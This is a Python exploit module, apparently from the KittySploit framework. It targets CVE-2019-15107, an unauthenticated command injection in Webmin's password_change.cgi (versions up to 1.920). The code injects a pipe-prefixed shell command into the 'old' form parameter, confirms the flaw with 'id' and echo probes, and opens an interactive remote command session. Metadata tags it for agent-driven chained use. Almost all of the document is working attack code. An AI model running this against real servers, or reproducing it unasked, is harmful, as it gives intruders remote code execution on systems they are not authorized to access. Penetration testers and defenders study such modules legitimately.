Webmin password_change.cgi RCE (CVE-2019-15107)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Webmin password_change.cgi RCE (CVE-2019-15107) — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Webmin password_change.cgi RCE (CVE-2019-15107)',
        'description': (
            'Exploits CVE-2019-15107 unauthenticated command injection in the '
            'password_change.cgi "old" parameter (Webmin <= 1.920). '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-15107'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-15107',
            'https://www.exploit-db.com/exploits/47230',
        ],
        'tags': ['webmin', 'rce', 'unauth', 'injection', 'kev', 'cve-2019-15107'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['webmin'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'password_change.cgi pipe'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2019_15107_detect'],
            },
        },
    }

    port = OptPort(10000, 'Webmin HTTPS port', True)
    ssl = OptBool(True, 'Use HTTPS', True, advanced=True)

    def _exec_body(self, cmd: str) -> str:
        injected = f'|{cmd}'
        return (
            f'user=rootxx&pam=&old={quote(injected, safe="")}'
            '&new1=x&new2=x&expired=2'
        )

    def execute(self, cmd: str) -> str:
        r = self.http_request(
            method='POST',
            path='/password_change.cgi',
            data=self._exec_body(cmd),
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2019-15107 confirmed via id output',
                'confidence': 'high',
            }
        token = self.random_text(8)
        if token in (self.execute(f'echo {token}') or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2019-15107 confirmed via echo probe',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'password_change.cgi did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()